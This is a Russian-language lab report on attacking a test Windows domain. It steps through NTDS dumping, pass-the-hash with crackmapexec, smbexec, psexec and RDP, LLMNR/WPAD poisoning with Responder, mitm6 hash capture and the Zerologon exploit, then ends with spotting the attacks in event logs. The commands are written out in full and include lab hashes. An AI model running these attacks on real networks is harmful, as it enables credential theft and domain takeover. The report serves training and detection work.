###### tags: `Windows` # Отчет по заданиям к практической работе №6. Базовые атаки и компрометация доменной Windows-инфраструктуры: ## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру. ### 1) Провести анализ базы NTDS. | 1. Воспользуемся базовыми средствами `Windows` для работы с `NTDS`. Необходимо зайти в командную строку от имени администратора и ввести команды: | | :----------------------------------------- | |`ntdsutil`| |`activate instance ntds`| |`ifm`| |`create full C:\temp`| | Этот набор команд активирует процесс `Install From Media`, позволяющий сделать копию нашего `NTDS` с необходимыми ветками реестра.| | ![](https://i.imgur.com/8TT1vt7.png)| |После этого в директории `C:\temp` мы увидим созданные файлы дампа.| |![](https://i.imgur.com/ehwOOHg.png)| |![](https://i.imgur.com/oT3rLsZ.png)| | 2. Воспользуемся базовыми средствами `Kali Linux`. С помощью `SMB` зайдём на `Windows Server` с `Kali`: | | :----------------------------------------- | |`smbclient '\\\\\\192.168.10.200\\C$' -U PT/Administrator`| |`где 192.168.10.201 - ip адрес контроллера домена,`| |`testdomain - имя домена,`| |`Administrator - имя учетной записи с правами администратора.`| |![](https://i.imgur.com/OO3httf.png)| | После чего скопируем файлы на `Kali`:| | `recurse ON`| | `prompt OFF`| | `lcd /home/ptvadim`| | `mget temp`| | ![](https://i.imgur.com/ACoR8hC.png)| | 3. Для анализа дампа для начала нужно скачать `impacket`. Находясь в домашней директории пользователя, выполним набор команд: | | :----------------------------------------- | |`git clone https://github.com/SecureAuthCorp/impacket`| |![](https://i.imgur.com/7bGN0iu.png)| |`apt install python3-pip`| |![](https://i.imgur.com/n8jEc3S.png)| |`cd impacket`| |`pip install .`| |![](https://i.imgur.com/Gh9sHOy.png)| | После установки нужно пройти из директории `impacket` в директорию `examples` и выполнить следующую команду:| | `python3 secretsdump.py -ntds /home/ptvadim/temp/Active\ Directory/ntds.dit -system /home/ptvadim/temp/registry/SYSTEM LOCAL`| | `где secretsdump.py - исполняемый скрипт,`| | `ntds.dit - анализируемый инстанс базы данных NTDS,`| | `- registry/SYSTEM - ветка реестра, с помощью которой мы можем прочитать NTDS,LOCAL - флаг для скрипта, который говорит, что мы анализируем NTDS локально.`| | ![](https://i.imgur.com/0vLLw6p.png)| ### 2) Выполнить атаку “Path-the-hash”. | Для выполнения атаки вида `PtH` нам понадобится учетная запись и её `hash` пароля. С помощью такой атаки мы можем выполнять любые действия, доступные пользователю, не имея оригинала пароля. | | :----------------------------------------- | | 1.Просканируем сеть и обнаружим хостов, как либо взаимодействующих с протоколом smb: | | :----------------------------------------- | |`crackmapexec smb 192.168.10.0/24`| |![](https://i.imgur.com/I3NGmUO.png)| |Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки:| |`crackmapexec smb 192.168.10.200 -u AdmPetr -H 05df2fd1109e3d3b60f110965f6af128 -x whoami`| | ![](https://i.imgur.com/Xv6w8hN.png)| | Можно посмотреть список сетевых папок, доступных конкретному пользователю:| |`crackmapexec smb 192.168.10.200 -u AdmPetr -H 05df2fd1109e3d3b60f110965f6af128 --shares`| |В impacket есть утилита `smbexec`, позволяющая запустить `cmd windows` для удаленной передачи команд, при этом практически не оставляя следов:| |`python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:6fddd649e205bc98d5365752ff233f45`| |`где testdomain - имя домена,`| |`administrator - имя пользователя,`| |`192.168.10.200 - адрес компьютера-жертвы`| |`hashes - спец флаг для использования хэша`| |![](https://i.imgur.com/7iPxy8g.png)| |Есть аналог - psexec| |`python3 psexec.py domain/username:password@hostIP - если знаем пароль`| |`python3 psexec.py pt.local/Administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:6fddd649e205bc98d5365752ff233f45 - если имеем LM и NTLM-хэши`| |![](https://i.imgur.com/WdE2Yy5.png)| | 2. С хешем можно зайти даже по `RDP`. Для этого используется следующая команда:| | :----------------------------------------- | |`xfreerdp /d:pt.local /u:Administrator /v:192.168.10.200 /pth:6fddd649e205bc98d5365752ff233f45`| |Но для начала включим удалённый доступ по `RDP` на `DC1`, доступ дадим администраторам домена.| |![](https://i.imgur.com/xQGcHwE.png)| |Пробуем зайти.| |![](https://i.imgur.com/LpknAYi.png)| |Действует политика `Restricted admin`. Изменим параметр реестра на `DC1` через скрипт в `Windows Shell`.| |`New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force`| |![](https://i.imgur.com/ghSi7gj.png)| | Успешный вход по RDP.| |![](https://i.imgur.com/85UiMco.png)| ### 3) Реализовать атаки на базовые протоколы Windows. + **NBT-NS & LLMNR & mDNS** |1. Важной частью эксплуатации будет `WPAD` - специальный протокол для настройки проксирования в системе `Win`. Система всегда запрашивает файл с настройками `wpad.dat`, а злоумышленник может подсунуть свой файл, став прокси-сервером для `Win` и таким образом осуществив атаку `человек посередине`. Основная уязвимость в этих протоколах - отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам. | | :----------------------------------------- | |2.Запускаем анализ `Responder`.| | :----------------------------------------- | |`responder -I eth0 -A`| |![](https://i.imgur.com/Eqyti0t.png)| |3. Эмулируем, что доменный ПК пытается обратиться к несуществующему сетевому ресурсу.| | :----------------------------------------- | |![](https://i.imgur.com/0QjzD2f.png)| |4. Анализатор видит `LLNMR, NBNS` запросы.| | :----------------------------------------- | |![](https://i.imgur.com/B3nw1ND.png)| |5. Проведем атаку.| | :----------------------------------------- | |`responder -I eth0 -wFv`| |`где -I eth0 -- выбор интерфейса,`| |`w -- отравление WPAD,`| |`F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,`| |`v -- вывод подробной информации (в т.ч. перехваченного хэша).`| |`Responder` запускается.| |![](https://i.imgur.com/rgo7iMc.png)| |Пользователь снова проходит по несуществующему пути. `Responder` притворяется этим ресурсом, поэтому видим окно аутентификации.| |![](https://i.imgur.com/vIl6OKR.png)| |`Responder` перехватывает аутентификационный токен.| |![](https://i.imgur.com/ZGDU0jF.png)| |Данный токен можно подвергнуть брутфорсу.| + **mitm6** |1. Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети. | | :----------------------------------------- | |2.Cкачаем `mitm6`.| | :----------------------------------------- | |`git clone https://github.com/dirkjanm/mitm6`| |`pip install mitm6`| |![](https://i.imgur.com/rHRtcW7.png)| |3. Выполним атаку.| | :----------------------------------------- | |`python mitm6.py -d pt.local`| |![](https://i.imgur.com/s169CNk.png)| |Настройки сетевого адаптера `PC1`. Было:| |![](https://i.imgur.com/8jblgZj.png)| |Настройки сетевого адаптера `PC1`. Cтало:| |![](https://i.imgur.com/y1Gilso.png)| |Также можем увидеть логи скрипта:| |![](https://i.imgur.com/I6shywT.png)| |4. Пока что мы только подменили параметры у `Win10`, обеспечив `mitm`. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит нам прикинуться ресурсом, который требует аутентификацию. Воспользуемся `SMB`.| | :----------------------------------------- | |Не отключая mitm6, создадим SMB сервер:| |`python3 smbserver.py -smb2support SMB /root/SMB`| |![](https://i.imgur.com/RMjl1wO.png)| |А на `Win10` через проводник попробуем зайти на наш домен.| |![](https://i.imgur.com/PXTZvpH.png)| |Увидим данные аутентификации в выводе программы.| |![](https://i.imgur.com/wl2pQRb.png)| |Эти аутентификационные данные уже можно вскрывать с помощью `hashcat` или `John the ripper`. Это не чистый хэш пароля, а аутентификация по протоколу `NTLMv`.| ## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры. ### 1) Провести эксплуатацию уязвимостей контроллера домена. |1. Для начала нужно активировать политику аудита машинных учетных записей и применить к контроллерам домена. | | :----------------------------------------- | |![](https://i.imgur.com/IQnuLLW.png)| |![](https://i.imgur.com/X7C71Ac.png)| |`Computer Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant`| |2.Проведем поиск по уязвимости `zerologon` и найдём множество репозиториев на `github`, в том числе и с эксплойтами.| | :----------------------------------------- | |![](https://i.imgur.com/Cdv9bdl.png)| |Скачиваем один из них.| |`git clone https://github.com/risksense/zerologon`| |![](https://i.imgur.com/VCAc3wx.png)| |3. Прочитав мануал, используем команду для вызова эксплойта.| | :----------------------------------------- | |`python3 set_empty_pw.py DC1 192.168.10.200`| |![](https://i.imgur.com/f4T3TUR.png)| |4. Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить `NTDS` с помощью `secretsdump`, скачанного ранее.| | :----------------------------------------- | |`python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'`| |![](https://i.imgur.com/sVVGx6t.png)| |С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя.| |![](https://i.imgur.com/hScWrJe.png)| ### 2) Найти следы эксплуатации уязвимостей. |1. Проверим журнал `System`, увидим ошибку `Netlogon`. | | :----------------------------------------- | |![](https://i.imgur.com/NCzVwRH.png)| |2. Проверим `Security`, увидим событие `4742`.| | :----------------------------------------- | |![](https://i.imgur.com/qyiVqfO.png)| |3. Внимательно проанализируем событие.| | :----------------------------------------- | |![](https://i.imgur.com/uab43Yp.png)| |`Во-первых, ANONYMOUS LOGON - уже довольно подозрительный факт.`| |`Ещё в логе можно увидеть заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823`| |4. Найдём событие `5823` в журнале `System` с помощью фильтра.| | :----------------------------------------- | |![](https://i.imgur.com/Wd54c8C.png)| |5. Событие есть, но оно произошло намного раньше.| | :----------------------------------------- | |![](https://i.imgur.com/tYUreZP.png)| |`Если поискать события 4742 за день, когда произошло 5823, то мы их найдём. Это легитимные события, связанные с введением в домен DC2`| |6. Если происходит дамп `NTDS`, то можно увидеть данные выгрузки в журнале `Direcrory Service`. | |![](https://i.imgur.com/qdKGu03.png)|